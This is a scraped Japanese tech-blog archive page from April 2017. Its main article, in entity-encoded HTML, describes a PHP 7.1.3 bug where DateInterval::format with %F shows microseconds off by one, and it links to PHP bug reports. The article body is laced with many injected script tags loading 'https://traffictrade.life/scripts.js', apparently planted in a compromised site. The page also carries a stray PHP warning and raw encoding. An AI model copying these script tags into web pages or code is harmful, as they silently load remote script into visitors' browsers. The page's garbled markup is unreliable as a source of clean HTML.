Warning: Trying to access array offset on value of type bool in /home/r1029599/public_html/engineer-log.net/wp-content/themes/simplicity2/lib/customizer.php on line 5404

2017年04月一覧

「すごいエンジニア」は凄いエンジニアになることを目指してないかも:Geekなぺーじ

「すごいエンジニア」が一部界隈で話題になっています。 「すごいエンジニア」が目指すもの 私がこれまでに「この人は凄いなぁ」とか「この人には一生かなわないなぁ」と思った「すごいエンジニア」は、次のようなイメージがあります。(ここでは、元記事の文脈に沿って「エンジニア」をという単語を主に「IT系の」として表現します。)

[海外][フリーランス][登壇][iOS]「シリコンバレーで働くエンジニアと考える、これからのキャリア」という授業をしました

オンライン動画学習サービスSchoo(スクー)で、「シリコンバレーで働くエンジニアと考える、これからのキャリア」と題した授業をさせていただきました。*1 シリコンバレーで働くエンジニアと考える、これからのキャリア 堤 修一 先生 - 無料動画学習|Schoo(スクー) 撮影

NO IMAGE

PHP 7.1.3で時刻の差を取ると時々1マイクロ秒ズレる

<div> <p>&#26412;&#26085;&#12399;&#12456;&#12452;&#12503;&#12522;&#12523;&#12501;&#12540;&#12523;&#12394;&#12398;&#12391;&#12289;&#12454;&#12477;&#12391;&#12418;&#26412;&#24403;&#12391;&#12418;&#35504;&#12418;&#22256;&#12425;&#12394;&#12356;PHP&#12398;&#12496;&#12464;&#12398;&#35441;&#12434;&#12375;&#12414;&#12377;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><p>PHP 7.1.0&#12363;&#12425;PHP&#12398;DateTime&#12463;&#12521;&#12473;&#12391;&#12510;&#12452;&#12463;&#12525;&#31186;&#12398;&#25201;&#12356;&#12434;&#24375;&#21270;&#12375;&#12390;&#12356;&#12427;&#12424;&#12358;&#12391;&#12289;&#25369;&#21205;&#12420;&#12467;&#12540;&#12489;&#12398;&#22793;&#26356;&#12364;&#12481;&#12521;&#12507;&#12521;&#35211;&#21463;&#12369;&#12425;&#12428;&#12414;&#12377;&#12290;&#65288;&#21442;&#32771;&#65306;&#12300;<script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><a href="http://qiita.com/hnw/items/665ff303d37d50fc0bff" target="_blank">PHP 7.1&#12363;&#12425;DateTime&#12364;&#29694;&#22312;&#26178;&#21051;&#12398;&#12510;&#12452;&#12463;&#12525;&#31186;&#12414;&#12391;&#35211;&#12427;&#12424;&#12358;&#12395;&#12394;&#12387;&#12383; - Qiita</a>&#12301;&#65289;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><p>&#26178;&#21051;&#12392;&#26178;&#21051;&#12398;&#24046;&#20998;&#12434;&#25201;&#12358;DateInterval&#12463;&#12521;&#12473;&#12391;&#12418;PHP 7.1.0&#20197;&#38477;&#12510;&#12452;&#12463;&#12525;&#31186;&#12395;&#23550;&#24540;&#12375;&#12383;&#12424;&#12358;&#12391;&#12289;<script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><a href="http://php.net/manual/en/dateinterval.format.php" target="_blank">DateInterval::format</a>&#12513;&#12477;&#12483;&#12489;&#12418;&#12510;&#12452;&#12463;&#12525;&#31186;&#12398;&#34920;&#31034;&#12395;&#23550;&#24540;&#12375;&#12390;&#12356;&#12427;&#12424;&#12358;&#12391;&#12377;&#12290;&#12373;&#12387;&#12381;&#12367;&#23455;&#39443;&#12375;&#12390;&#12415;&#12414;&#12375;&#12423;&#12358;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><pre> <span>&lt;?php</span> <span>$</span><span>dt1</span><span>=</span><span>new</span> DateTime<span>(</span>"<span>2000-01-01 00:00:00</span>"<span>)</span>; <span>$</span><span>dt2</span><span>=</span><span>new</span> DateTime<span>(</span>"<span>2006-01-02 03:04:05.6</span>"<span>)</span>; <span>$</span><span>interval</span> <span>=</span> <span>$</span><span>dt1</span><span>-&gt;</span>diff<span>(</span><span>$</span><span>dt2</span><span>)</span>; <span>var_dump</span><span>(</span><span>$</span><span>interval</span><span>-&gt;</span>format<span>(</span>"<span>%R%Y-%M-%D %H:%I:%S.%F</span>"<span>))</span>; <span>/* Output: string(25) "+06-00-01 03:04:05.600000" */</span> </pre> <br><p>&#12497;&#12521;&#12513;&#12540;&#12479;<code>%F</code>&#12391;&#24046;&#20998;&#12398;&#12510;&#12452;&#12463;&#12525;&#31186;&#12364;&#34920;&#31034;&#12391;&#12365;&#12414;&#12375;&#12383;&#12290;&#12392;&#12371;&#12429;&#12391;&#12289;&#27425;&#12398;&#12424;&#12358;&#12394;&#20363;&#12434;&#35430;&#12377;&#12392;&#22855;&#22937;&#12394;&#12371;&#12392;&#12395;&#27671;&#12389;&#12365;&#12414;&#12377;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><pre> <span>&lt;?php</span> <span>$</span><span>dt1</span><span>=</span><span>new</span> DateTime<span>(</span>"<span>2000-01-01 00:00:00</span>"<span>)</span>; <span>$</span><span>dt2</span><span>=</span><span>new</span> DateTime<span>(</span>"<span>2006-01-02 03:04:05.000251</span>"<span>)</span>; <span>$</span><span>interval</span> <span>=</span> <span>$</span><span>dt1</span><span>-&gt;</span>diff<span>(</span><span>$</span><span>dt2</span><span>)</span>; <span>var_dump</span><span>(</span><span>$</span><span>interval</span><span>-&gt;</span>format<span>(</span>"<span>%R%Y-%M-%D %H:%I:%S.%F</span>"<span>))</span>; <span>/* Output: string(25) "+06-00-01 03:04:05.000250" */</span> </pre> <br><p>0&#12392;251&#12398;&#24046;&#12394;&#12398;&#12391;&#12300;000251&#12301;&#12392;&#34920;&#31034;&#12373;&#12428;&#12427;&#12399;&#12378;&#12364;&#12300;000250&#12301;&#12392;&#12394;&#12387;&#12390;&#12362;&#12426;&#12289;1&#12510;&#12452;&#12463;&#12525;&#31186;&#12474;&#12524;&#12383;&#32080;&#26524;&#12395;&#12394;&#12387;&#12390;&#12356;&#12414;&#12377;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><p>&#12489;&#12461;&#12517;&#12513;&#12531;&#12488;&#21270;&#12418;&#12373;&#12428;&#12390;&#12356;&#12394;&#12356;&#27231;&#33021;&#12394;&#12398;&#12391;&#35504;&#12418;&#22256;&#12425;&#12394;&#12356;&#12392;&#24605;&#12356;&#12414;&#12377;&#12364;&#12289;&#19968;&#24540;&#12496;&#12464;&#22577;&#21578;&#12375;&#12390;&#12362;&#12365;&#12414;&#12375;&#12383;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><ul><li> <script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><a href="https://bugs.php.net/bug.php?id=74355" target="_blank">PHP :: Bug #74355 :: DateInterval::format() with &rdquo;%F&rdquo; sometimes shows incorrect value by 1us</a></li> <li> <script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><a href="https://bugs.php.net/bug.php?id=74356" target="_blank">PHP :: Doc Bug #74356 :: DateInterval::format() now supports &rdquo;%F&rdquo; as fraction but undocumented</a></li> </ul></div>

– PR –
– PR –